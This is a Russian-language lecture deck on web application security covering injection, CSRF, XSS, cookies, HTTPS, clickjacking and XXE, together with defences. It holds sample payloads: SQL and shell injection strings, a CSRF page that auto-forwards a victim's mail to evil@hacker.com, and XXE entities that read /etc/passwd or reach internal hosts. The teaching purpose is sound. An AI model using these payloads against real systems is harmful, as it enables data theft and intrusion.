Документ обсуждает уязвимости веб-приложений, такие как XSS, CSRF, и проблемы с безопасностью, вызванные некорректной обработкой пользовательских данных. Он рассматривает путаницу в терминологии и классификации уязвимостей, а также типичные методы обнаружения и эксплуатации атак. Также описываются возможные меры защиты, включая использование HTTPS и ограничения для cookies.

1. БЕЗОПАСНОСТЬ ВЕБ-ПРИЛОЖЕНИЙ
Starter Edition
Петухов Андрей

2. Содержание
Broken Terminology (сегодня)
Broken Web (сегодня и в следующий раз)
Broken Defenses (в следующий раз)

3. Broken Terminology
Путаница в концептах
✓ Недостаток/Уязвимость/Угроза/Атака
Путаница в классификациях и рейтингах
✓ “аудит по классификации OWASP Top 10”
✓ OWASP Top Ten - рейтинг критичности уязвимостей в веб-приложениях
✓ SANS Top 25 - рейтинг критичности ошибок в ПО
✓ WASC Threat Classification - попытка классификации атак
✓ Common Weakness Enumeration - индуктивная классификация недостатков

4. Broken Terminology
Путаница в определениях
✓ Wiki: Cross-site scripting (XSS) is a type of computer security vulnerability … that
enables attackers to inject client-side script into Web pages viewed by other users.
✓ WASC: Cross-site Scripting (XSS) is an attack technique that involves echoing
attacker-supplied code into a user's browser instance.
✓ OWASP: Cross-Site Scripting attacks are a type of injection problem, in which
malicious scripts are injected into the otherwise benign and trusted web sites.
✓ CWE-79: The software does not neutralize or incorrectly neutralizes user-controllable
input before it is placed in output that is used as a web page that is served to other users.
Consider this
✓ XSS - в первую очередь атака!
✓ XSS можно провести через DNS rebinding или Cache Poisoning; подходит ли это
хотя под одно определение?
✓ The same weakness could be exploited for XSS, redirecting to malicious site (hello,
Open Redirect!) or even Session Fixation. Try to guess how!

5. Broken Terminology
To add insult to injury
✓ “открыт новый класс уязвимостей”
- Simple HowTo: 1) Google for rare DSL with dynamic code execution feature
- 2) Make a PoC when you can inject DSL-commands into DSL-program
- 3) Submit your talk about brand new vulnerability class for conference
✓ “открыт принципиально новый вид атак”
✓ [2005 год] CSRF - новый вид атак?
✓ [2008 год] А UI redressing (Clickjacking)?
✓ Говорят, это все Confused Deputy
✓ Еще говорят, новых классов уязвимостей вообще быть не может
✓ А еще говорят, что классификацию уязвимостей вообще невозможно
построить (см. “A critical analysis of vulnerability taxonomies”)
✓ И последнее: SQLi можно использовать для DoS, можно для Authentication
Bypass, а можно для Authorization Bypass (Privilege Escalation)

6. Insight into weaknesses
Есть классификация по времени появления
✓ проектирование, кодирование, внедрение, эксплуатация, [выведение из эксп.]
Большинство уязвимостей появляется
✓ Из-за отсутствия или неполной реализации механизмов обеспечения ИБ
✓ Из-за некорректной обработки входных данных

7. Downstream Components
✓ Веб-приложение в процессе работы взаимодействует с различными внешними
подсистемами: СУБД, LDAP, стандартный интерпретатор ОС, почтовый
демон, браузер, файловая система и т.п.
✓ У большинства подсистем есть свой язык, который она умеет
интерпретировать: SQL у СУБД, Shell/CMD у стандартного интерпретатора
ОС, SMTP-команды у почтового демона, HTML и Javascript у браузера и т.п.
✓ Обращения веб-приложения во внешние подсистемы параметризуются: есть
константная часть и есть переменная, значение которой формируется
динамически с участием пользовательских данных
- шаблоны HTML-страниц, заполняемые данными из СУБД или из запроса
- заготовки SQL-запросов, SELECT-критерии в которых заполняются на
основе входных параметров
- заготовки Shell-команд, к которым необходимо добавить только аргумент
- обработка запроса http://newsfeed.us.to/news.php?id=17 может включать
PHP-оператор вида mysql_query(“SELECT * FROM news WHERE id = ”.$id);

8. The Essence of Injection
✓ В каждом языке определены ключевые слова, разделители, правила
оформления секций данных (в т.ч. строк и констант):
➡ SELECT * FROM news WHERE author = ‘petand’
➡ <a href=”/show?id=1”>View first</a>
➡ eval({ id: 1, name: "Foo", price: 123})
➡ grep -R “search string” *
✓ В каждом запросе или команде к внешней подсистеме есть контекст команд
(Control Channel) и есть контекст данных (Data Channel)
✓ Injection-атаки становятся возможными, если внешний пользователь сможет
выйти из контекста данных в контекст команд:
➡ SELECT * FROM news WHERE author = ‘petand’ or sleep(5) -- ‘
➡ <a href=”/show?id=”1”><script>alert(1)</script><a id=””>View first</a>
➡ eval({ id: 1, name: “Foo”});alert(1);//”, price: 123})
➡ grep -R “search string” 1; echo “p0wned” #” *
More here: http://cwe.mitre.org/data/definitions/74.html

9. Examples of Injection
✓ SQL-операторы
➡ если входные данные не обрабатываются при построении SQL-запроса
✓ HTML-разметку
➡ если входные данные не обрабатываются при построении HTML-страницы
✓ Javascript-операторы
➡ если входные данные не обрабатываются при построении JSON-объекта
✓ CSS-директивы
➡ если входные данные не обрабатываются при построении CSS-правил
✓ HTTP-заголовки
➡ если входные данные не обрабатываются при построении ответного
заголовка (например, Location)
✓ XPath-операторы
➡ если входные данные не обрабатываются при построении XPath-запроса

10. Testing for Injection
✓ Методы обнаружения != методы эксплуатации
➡ при обнаружении устанавливается факт наличия недостатка
➡ при эксплуатации достигается конкретная цель
✓ Что можно наблюдать в режиме черного ящика?
➡ статус HTTP-ответа (200 vs 500), заголовки ответа
➡ тело ответа, задержку ответа
✓ Надо пытаться выйти за контекст данных
➡ надо уметь терминировать текущий контекст данных (пресловутая кавычка)
➡ надо уметь добавлять команды так, чтобы итоговый запрос во внешнюю
подсистему оставался синтаксически корректным и после внедрения
➡ надо уметь влиять на наблюдаемое поведение (например, вызывать задержку)
✓ Типичные значения для тестирования
➡ 17‘ and sleep(5) --
➡ “><script>alert(1);</script><a id=”

11. Broken Web
Cross-origin resource linking & CSRF
Same Origin Policy & XSS
Content types and content sniffing

12. WWW-linking
Cross-domain resource linking
➡ <img src=”http://photohosting.com/cute-kitten.jpg” />
➡ <link rel=”stylesheet” type=”text/css” href=”http://othersite/mystyle.css” />
➡ <script src=”http://js-vault.us.to/cute-library.js”></script>
➡ <iframe src=”http://socialnetwork.no/social.windget” />
Ambient credentials
➡ cookies
➡ HTTP-authorization
Let’s have some fun!

13. CSRF
<html>
<head><title>All you mail are belong to us</title></head>
<body onload=”CsrfForm.submit();”>
<img src="http://www.jewelrynutauctions.com/wp-content/uploads/cute-kittens-20-
great-pictures-1.jpg" />
<form id=”CsrfForm” action=”http://mail/actions/add” method=”POST”>
<input type=”hidden” name=”type” value=”forward” />
<input type=”hidden” name=”condition” value=”all” />
<input type=”hidden” name=”target” value=”evil@hacker.com” />
</form>
</body>
</html>
‣ CSRF - это выполнение действий!
‣ Смена пароля, смена почты, добавление админа и т.п.
‣ Считывать ответ от CSRF-запроса не даст SOP
‣ WTF SOP????

14. Same Origin Policy
Зачем какой-то CSRF, когда можно было бы сделать так:
<html>
<!-- HTML page hosted at http://evilhacker.us.to/bank-hijack.html -->
<head><title>All you bank accounts are belong to us</title></head>
<body>
<!-- Important step of an attack: cute little kittens should still be there! -->
<img src="http://www.jewelrynutauctions.com/wp-content/uploads/cute-kittens-20-
great-pictures-1.jpg" />
<iframe name=”bank” src=”https://myprivatebank.no/myaccount/transfers/history” />
<script> document.bank.document. // <---- read whatever you want! </script>
</body></html>
SOP simplified: код из одного источника не может читать
или изменять DOM-объекты другого источника
Источник = протокол + домен + порт
More here: http://www.w3.org/Security/wiki/Same_Origin_Policy

15. Cross Site Scripting
Цель XSS - обойти SOP
Для этого надо, чтобы наш javascript вернулся в браузер
пользователя из того источника, DOM которого мы
хотим считывать (https://myprivatebank.no/)
Возможность внедрения HTML-разметки позволяет
сделать ровно это: вставить в приложение скрипт,
который потом загрузит жертва в свой браузер в
контексте нужного источника
В общем случае XSS позволяет делать с уязвимым
сайтом все то же, что может делать пользователь,
загрузивший XSS-скрипт

16. XSS: common cases
Reflected vs Stored XSS vs [DOM-based]
✓ reflected могут быть отражены AntiXSS фильтрами в браузерах (IE, Chrome,
NoScript)
✓ про экслуатацию DOM-based затруднительно узнать из логов сервера
With user interaction vs W/o user interaction
Browser specific vs Browser agnostic
XSS over CSRF

17. XSS exploitation
The BeeF Project DEMO
http://www.youtube.com/watch?
v=XsXOYwZkTyo

18. В следующий раз
Broken cookies
Broken HTTPS
Broken UI (UI redressing)
Атаки класса XXE
Broken Defense (WAF, browser security and other)

19. Broken cookies
✓ Нужны для реализации сессий (сеансов)
✓ Де-факто используются для аутентификации запросов
✓ Формат Set-Cookie: <name>=<value>[; <name>=<value>]...
[; expires=<date>][; domain=<domain_name>] [; path=<some_path>]
[; secure][; httponly]
✓ Scoping: cookie SoP != DOM SoP
➡ Не ограничены портом и протоколом (cookie с http://example.com/ уйдут на
https://example.com:8080/)
➡ Трудно ограничить домен
➡ Протокол можно ограничить флагом secure
✓ Read more: http://code.google.com/p/browsersec/wiki/Part2#Same-
origin_policy_for_cookies

20. Broken cookies: scoping
✓ Атрибут domain отсутствует
✓ Атрибут domain присутствует и содержит wildcard
✓ Атрибут domain присутствует и содержит адрес (warning!)
✓ См. таблицу (взята из The Tangled Web)
✓ Что все это значит?
➡ есть сайт site.com с авторизацией
➡ есть сайт bar.site.com либо под нашим контролем, либо с XSS => p0wned!

21. Broken HTTPS
✓ Открытые сети в массы
➡ доступны инструменты для пассивного прослушивания трафика
➡ доступны инструменты для MiTM
✓ Основные угрозы для критичных приложений
➡ перехват учетных данных
➡ перехват cookies, которые аутентифицируют запросы
✓ Сайты защищаются от угроз с помощью HTTPS
✓ Пользователи открытых сетей защищаются, работая с
критичными сайтами в открытых сетях только по HTTPS
✓ Этого не достаточно!
✓ Заблуждение: “если я не открываю через открытую сеть сайт, мои
учетные данные и cookies в сохранности”. Fail.
✓ Пример перехвата: http://www.youtube.com/watch?v=Bf8pziDavfQ

22. Broken HTTPS
✓ Как делать правильно:
➡ cookies помечать флагом secure (и httponly!)
➡ использовать HTTP Strict Transport Security (https://
developer.mozilla.org/en-US/docs/Security/
HTTP_Strict_Transport_Security)

23. Broken UI
✓ Предпосылки:
➡ HTML: iframe
➡ js: возможность динамически менять размеры и положения элементов,
навешивать и снимать обработчики событий, менять курсор
➡ CSS: свойство opacity, свойство cursor
✓ В общем случае атака называется UI Redressing и имеет много
видов: clickjacking, strokejacking, cursorjacking, likejacking
✓ Почитать:
➡ Кратко: http://podlipensky.com/2012/07/clickjacking-explained/
➡ Полно: UI Redressing: Attacks and Countermeasures Revisited
✓ Демо:
➡ http://digitalbreed.com/clickjacking-demo/facebook.php
➡ http://podlipensky.com/2012/08/cursor-spoofing-cursorjacking/

24. Broken UI
✓ Защита приложения:
➡ Рекомендуется: X-Frame-Options: deny/sameorigin
➡ Не рекомендуется: frame-busting code (см. “Busting frame
busting: a study of clickjacking vulnerabilities at popular sites”)
✓ Защита клиента
➡ NoScript (технология ClearClick)

25. XML и XXE
✓ XML - де-факто стандартный транспорт на прикладном уровне
(XML-RPC, SOAP)
✓ Документы: правильные и действительные
✓ Парсеры:
➡ обычные и валидирующие (DTD и XML Schema)
➡ реально распространены: libxml, msxml и xerces
✓ Сущности:
➡ внешние и внутренние
➡ валидирующий парсер обязан разрешить внешнюю сущность, а
невалидирующий - по желанию
➡ реально многие парсеры по умолчанию всегда разрешают внешние
сущности

26. XML и XXE
✓ Что можно сделать:
➡ считывать локальные файлы <!ENTITY xxe SYSTEM "file:///etc/passwd">
➡ DoS <!ENTITY dos SYSTEM "/dev/zero">
➡ сканировать DMZ- сегмент <!ENTITY scan SYSTEM "192.168.1.1C$">
или <!ENTITY scan SYSTEM "http://10.0.0.1:22/">
➡ отправлять произвольные (почти) запросы (SSRF)
<!ENTITY ssrf SYSTEM "http://internalhost/admin?p=value">
Hint: вместо http можно использовать любой поддерживаемый протокол!
Больше в статье SSRF vs. Business-critical applications: XXE tunneling in SAP
✓ Защита:
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

27. Broken Defense
✓ “Свое мнение” у каждого браузера
➡ пример с cookies и IE, AntiXSS фильтры, Content Sniffing
➡ недавняя история с багами Оперы; 4lulz http://rutracker.org/
forum/viewtopic.php?t=4228361
✓ WAF не защищает от атак без синтаксических
аномалий (т.е. не injection-атак)
➡ black-listing vs white-listing
➡ black-listing учитывает особенности атак, white -
защищаемого приложения
➡ не injection-атаки (например, атаки на уязвимости
авторизации) не вызывают синтаксических аномалий
➡ не injection-атаки используют особенности приложений

28. Спасибо за внимание!
Вопросы?
Twitter: @p3tand
Blog: https://andrepetukhov.wordpress.com/
Email: andrew.petukhov@internalsecurity.ru
Видео лекций: https://www.youtube.com/playlist?
list=PL2173C4AB816E4F3F
Must read: “The Tangled Web” by Michal Zalewski